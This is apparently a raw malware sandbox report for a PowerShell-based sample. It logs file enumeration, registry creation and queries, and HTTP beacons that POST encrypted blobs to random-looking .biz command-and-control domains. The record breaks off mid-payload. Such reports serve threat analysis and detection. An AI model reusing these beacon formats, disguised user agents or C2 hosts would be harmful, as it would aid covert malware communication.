"FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007328) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00007328) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00007328) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00007328) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00007328) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00007328)47:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")48:Te91,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DIRECTACCESSQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYIPMATCHING"; Value: "")49:T12a2,"GET /au HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 301 Moved Permanently location: https://www.anpmnmxo.biz/au connection: close transfer-encoding: chunked date: Wed 30 Sep 2026 16:36:35 GMT with no response body "GET /au HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 404 Not Found server: nginx/1.28.3 (Ubuntu) date: Wed 30 Sep 2026 16:36:36 GMT content-type: text/html content-length: 564 connection: close vary: Accept-Encoding with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /ytenqmpsyaxmintj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 301 Moved Permanently location: https://www.anpmnmxo.biz/ytenqmpsyaxmintj connection: close transfer-encoding: chunked date: Wed 30 Sep 2026 16:36:36 GMT with no response body "GET /ytenqmpsyaxmintj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 404 Not Found server: nginx/1.28.3 (Ubuntu) date: Wed 30 Sep 2026 16:36:36 GMT content-type: text/html content-length: 564 connection: close vary: Accept-Encoding with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /nnnbwobrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 301 Moved Permanently location: https://www.anpmnmxo.biz/nnnbwobrm connection: close transfer-encoding: chunked date: Wed 30 Sep 2026 16:36:37 GMT with no response body "GET /nnnbwobrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 404 Not Found server: nginx/1.28.3 (Ubuntu) date: Wed 30 Sep 2026 16:36:37 GMT content-type: text/html content-length: 564 connection: close vary: Accept-Encoding with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /hqfyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 301 Moved Permanently location: https://www.anpmnmxo.biz/hqfyx connection: close transfer-encoding: chunked date: Wed 30 Sep 2026 16:36:38 GMT with no response body "GET /hqfyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: www.anpmnmxo.biz" Response ==> HTTP/1.1 404 Not Found server: nginx/1.28.3 (Ubuntu) date: Wed 30 Sep 2026 16:36:38 GMT content-type: text/html content-length: 564 connection: close vary: Accept-Encoding with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74.......4a:T9c6f,"POST /vvrxg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "$@gÝìÜPf9¡ï-aUüápüëKÃíUW!¡®ïþ^Y5þbÈà°ëkÝäGu7Ò,,P÷ªÌ~S1ëÓÂß¨½eÚÂÿ¼êíb¦&h]ï)dÊá^ÕëIJTÌ_tE&mÓZu7EdoAOþ-·KÒàè *3×YPÑc°í¯lÎ|@üåÉ¨OÔÐ!f?IPHÎVuLxÏw¥£7DÌÐ:ôÈöÉôÿU!c:¥Étßº4Ú;zw7d@ÕñuggyñXË¶Ñ¨ZkïÓµ#¦N9s5uKW«[MYç°ÏZÔÕ&¾FÞïPwrµÑBY4v<¸öë÷ÔGÌßÙGÊç}Aìæ<Í´d¢këµ¾¥¿Ôtâþn¤ÕZøI5g¡úá!x½Q[2¶¥EÑ¿¬aàN`J"jPÊUáè´ÙÂ£¯Û o~#h·Ö.*Lo%ÈnYVmèã3Fío1|&Å¿lµ9êTÿÍ?T½^Ù¦Aô3zVÛp±O &àêÃ°±eâÂÿVÎh¹S]æPMeÉÇþUa'4Öõ.Òç~ú>4b÷2,YäÎ7BG*¹«û´Q¤0uÂ"¦U ÝKÔe~Eùûì}(©%O%ÖåªroýýRü+þ±GJ¤è]D©yV|duA?òøæ{OD²kbU&Fs©î¯?Aò'5sÇ0æÅµèÊhYí6ËúæÖéäÇFôú}äæ®ó]°âØª÷SVEÕIaiuÈ§BDÌ]GÉ¤^Çü´ùì(´°ü¿Â0Nìê³Ee}×ý" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:30 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body, "POST /ltbcty HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "L=±²»N¥r}H²Hn®vÉ¹ç{ë*rPØêc! AVpM¡5Ïõ$RimhjèÐdÒñÊ¾½SÍ½fV)äãM{ûÐà¶Ø d+ø3_Bd?st¼Z§ÄÀYOÅÝíÛËjS&¢(«UH§ïÀíÐÃ@p²i§¼íò¦üéò6Â"fb<ã:÷]i5EuN;êÏaY¼Q¯Y*9W)Îð7ÈyÓð½ã«ðêÝ©Çé?-å yúßd4¯± Ö«yñØÙáÓÒ.²CÚ7sÐ/dZ »¥§ÓÜæ¤¶ªÛðiït¥T*2Ò.DKxHRÞ ¿ÑHKÚËì&]Á{|aÐup"âæW`TÎká¡°ÎTÛºfÓ@Ó÷¢Òx®8ºÂÁñ6ðúÌÁÐ8H×_Bc!A¡ulÍh'Eq&;·JÐak7^5l·qÖè^v^ö8ûSI>çÂ]0lÍÍél÷¨)¹ñZÌ5ä´qö®*@åsóÒÇrÂEÀÈÞºSZÇ¾;%Ïë6?Koö 81òIå×Vði%]#µìá,Eÿô7öÕ´M4£ÄÁïQè»F_¤¬ðÜí,bQØ~k©ÝE6Ì¥ºd?XÏÚý&G° bWòc!-ÊÊ!³á "vAût¢oNsÒºÅFÿð¢Õ¾ëÅÑBªÇòîæ5Z:ÃÆTWÿ?Ül)Q³äzó¿]qDj´.:<ÅKn8ÿ:5e«¥iéÔ[ÿæN¼Ðí¦ídþ#ðfÜÃV3|¹líMV!ãáÓò¢T1¯îûÆÏC_³R}ÿ§T³>!jh¤ºß\Á#ºVJ¯Mà¾øy7àBÛU¨äúB°b¥G:$Äyi½âÛ3Ú7á°¿pú®YÇ+"vµé\ÊAÑô±ìª°´ÛK"c-}FäðÜwòPmïÔâõ¢kas£øúû`yZ=Iµ°So¢oh@{;uMÃAÁ¶x©zbÆû×i¸ÙtfJÖM»¶ßM÷åÏ¡!¼«ë<º"0Æ®úWµ_¯³òþ=ÍÀg=|R¯UgNdHNövö9ôº¢zLÖ*òÿêAI±n}Ð`àk]A]É;!µñ¸t¥¤px×<Õ#Æ5i_G³}ºµ²]úC)¥À{µÔäãpÄÉCë¡!»eÓÞ1ÇÑðEûQ®gþ×Û¥vñ¦°KUãìÝhU-ÉÙµÊùÑàÌáH½zl"Ïõý¤¢{yÍkAüÓ®®M½¼{ôÏâÃËêi'Î)În¢fE½êïèpÚ0-¿WOt2§àBg[Í@Ìg1%(Á(À@36lzèbÈ«ëÏès²Nc}<Ê°³fl1´®óû¹ØÊQghÚ/Ý¨eQG-Ã·¡´oQê<ùVW°ôwM%Ìä3ØÞ ôMÄdAü¤h:4Î¹hQgÅ.9êÙ7uy±X×ç.FE·Ù^ 5ßü\ýIÛ,l*æ¨«`¯ÒÉ^;EÀ§UÇå¨>Y?$ìÖömÆ5=w»$Ûøõâ¬úmñ:Eh1*C¸)ð¼-lâ0ê/ý" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:31 GMT Connection: close with no response body, "POST /gmoa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "R«Öó1NRIý°±OS¢£,xÑ×@8É·Ö:¹]ç×»×ÜÓ(êMËCË&îst¹Æ£tòm^Ê¿G»Ðq_c`kqi]½íÐÃu3=i{¦Z(æeûÑ ¼.å2`3¡Õ60}Ü¥ÆApîdÙûBh;4(9b>BU;çw.kº8ÙÐõ.í]dàÓ_?Âmç;e¸BÛ9¤¨ZyX¡WÃçcàU¦C¶KX>[9RµAÛhÀ°öbqTHLÞ¥w&UPÃf4Æ¤b.qÏ©lew.m)BÖË£fÌµ°ûÃuðÍ:4t{&£Í¨dKkÒNÊBWöX+&ùÙ¥"$iµôðOÜ¸§÷uñËO-HÔIõ¸&0Rç¸àÙÕïémðóQÍíöS+K±ïÎ+Jëµ«é;Æ7³Í£Us2ë«§·0t=³ÎÒ\Jee=Ïts/gØÄ£ßªm¯wHEÁdÜöÑ¡yì Aù;²RÊ©&pNNÀðp¨í¥OÆñþa<¡zïù¯Ð'&Û "e8@}î%N¾Òdîæ¡U§¯Ø-ú4£&sÞtûlÌó|=u=¤TT9àEjý¾ën{;.ëÎ¾gñù$D@åùMáÎ]k!MrëKwCå4±ý\tkéê>±Ð³!ûúÅñÞa·t´l¿û½MtD}É-fÚêb«æ°³«áïrðÎTþÈ´»®½ÌíÕ¼àëZÑ.B(Têðüï¸ØáÇ·f®I¯§kº¹Ì"6ØÄ¦ðGþ¯£û Ì4¢Z"|ËVk¨DXù«r¢$rÿÔï.\À'ÚIqjD¾ëKûS%<ÿSÕM¶} n¦ÿÅÁ±DêF÷§¹î"ÁæbTzÈ^0F=oçR}Xé{ÂÅÝñ¥úÎá´]ÿ»Ç«$ÖÙAþW°°uîÍ Êóð.f´êD¯ OÑöO-'~Å(\º:êõMîÜ:Zo¾ëäñqÛsìÛ@L}4ØLýdºïeÿcÑ_Jä¶$¼!Ýßy>:Y~znæM.çùr ´>rxÍðöúyS0oÚäOBÊiQ9%¥çzÆç¥õRDW¬÷rÚë@//æ5vãÚâ§v:CV@Z¾ôqÛ*GG_dZ'A6©ÞW:]ü¿ÞåômnóY\ÒdíiµÍÐFæS?mÕêöxéXLióÙ]_J\ÀÜìèüE¢7µ*ýlË¾ÎkNà|2XsTØvYñíiªeGü3¶ò6C" HTTP/1.1 200 OK Server: nginx Date: Wed 30 Sep 2026 16:36:33 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /wsyriayansdhkx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "bºûcù·0NÑ/BåýJD=øÉ£{ýÄBX!}$>û©iwàÅ8´ôbYMÉWìüCF8Ò¶All¤ÉÉgÊïÈ½èI~zÝEAæc=Nªi_Nü£ÀAçu2Èâ#Þ~4Ñíì$2ÍJê+ït-ùÝÂe½Kk^ÁbK¤öYß7rxÔ^Ï;4pÑ®»áXn}ÂdÓPöÔÐ{BÕT¤ªÅ^§%©ý·ySvüßÚú{¹^é¬ Éâ,¾É=wÐæ´T+e©0°cuRÒGØØöX°=ÕàGÕwÿ,g7y¨Ü/a7KÈ^héàP?ØLpv®ìÓÛ×Ý\átÆ²gZÞLoÉí.wÝ3Å8î¼A%Ö¤m%Zï0~¤D»Ä}!ê6.Bîn¼¨{xØ9CKyEÕê>?¡>®øùÀùK{¡Û0ÜÚ±×èå×Èå'©IÝÀ+¯·D!íºË*RÍGïá(..«ñÁ%?XìAY÷ûbÎ§ý÷? §¤;T~Å[£ª]t¥Fowé¬ÒR®N«»_Ý©ß°»ÄA®.¿ïL¥Æ¨àx(1^§ö,é4Bißè}4zÉ:MÂªiVÓÙÀñÚáÙW¾CI~±âªÀÎ·u£D_ñéc%õÕ¶²þ7#²Cc¾[|ùQ¬Äæª HÒ,â¯¥ùEXËuXÒÃ¹ôgÈÒa¬ÈoAW°þkoEÃ[ýäñkâ±gböô-ò55LTaåÿ/#D'ÌVE®KÖ¥Õ=3C21646F63747970652068746D6C3E3C68746D6C206C616E673D22656E223E3C686561643E3C6D65746120636861727365743D227574662D38223E3C6D657461....... "POST /kpbendnmvboqlr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "¶c6ßmWLPÓÔ¥ÔO «ïÂõnÝw9ÃÎÞæµ3Ö5ã»£ëR¹Ìf{@¶êþ?/æ²/»U(öP:EÒüZ¯ª×\ä7õ¹ÓntkþF¡È+UÏ·W H*Nm:ïh#·ÌFáÍ¥Ù§ÕÛ«oèlèÎ¢Ôëj¼67¨Rß·Ï$SjZëx6J[f-Z¶¼§æ=îÚDtªÁâÆ!Í³b]\c6Áb¼uûØW½úFÖüE|AQ÷¾5*õ*4ûD¬2è+T.ß!¸¬Å@NÅÊYú ÍeæòêÝÂ¿oé$3(jÈ|n'7ÄÝJÌöe$!r«~Õ¼K~ã×ÉìSuªSiôY!sïí# ã×;-&è¬µ¸ü]%äz-é¢øBc¥<.KOä3Ü´!1;¬Yüè³ÉÄqÍAÐÙåírys¡pxäº0¡Ã-àËÄ²Éqw}P`G³L.Øù#þ3§Y¦_f4¥ÐÆ¯*ÓîHYpÿ+Ò7½6lÞkVø5d¢w8±^S¯?®{ªWk¾æ7#ã*ÓUS2¿Ï÷É~e}¡Ì·òf¾Ýâ¿ï=a9RDøâSÔ·ÔQï»yÈ>c§Û)KNL©°\q@Éßß`>Nû~ëû½¨¦`D76ÁÏ´ìÈ¢ÌAâpß`Dû¸*RÙä:@<ÕÁ£àBþUõuå´5/,ÑzeûJ±íB>°ØÎ§½Xk¨VÁ3¿÷íìM^pl¿%æupáôÓwùAMáéÉ¿¼jÍë5l#6ðð¼qyÚHóðzÄGØ=·ÁÎQìé;^ÔÁßZd¸2s3({î¦/>%øSvGæýh|ã[È>SwÙ_C¡;AáÏ¨z=þf4GÁ{ÂØ¯÷Á£¹M§E¿xÙ©3z=Ùm^àÿ8Î40mV¢+î¨ìü¥Ç*YWcK¿W¾fGÿÒmoYâÆû<'/Bk!Mn§gl" HTTP/1.1 200 OK Server: nginx Date: Wed 30 Sep 2026 16:36:33 GMT Connection: close with no response body "POST /klmwrsqs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> "+6½è¥NM-#tèF_-OýÀïN£ÑBdË>Ú©Ãw¦JV'õþeÞ ö:ÚPû;Á?Ï>¶ëGÕ(IC¸{Eg§biB_OK& à³ÏS)¿hq ß¬À/±³pØèJwé&6v°ÀH2Ip¦äËdÍ¡xëÒ×"rµ0?²üòÙñNµ?ÈLAlÞ9²ðtÄÇ¤""·ë¬c8jØ ìÚÞÍ-ã÷&óû±ðÅÃ =õ%´D¡Öc<±©/§ÚÕ×EKiìý7¬3Eáí4VÉoø(i%¤a¦=wÈÝGÑqvç'b*ØtØùãörØ2Úåíò¡OÄ&¸ÜÆu8ñ&=fm%ËÚ?çéføà««"§«a¾Ê Øè(x¼Ñµk¢Ò ~åîb³f¯R><Î] ñ¶êçåÇÔÓ¹Hn²4î''ãè¢I\Hë»¯-8W3ö+æ®¼ÒÓÚÞÈ5U×¶¥êæÜ 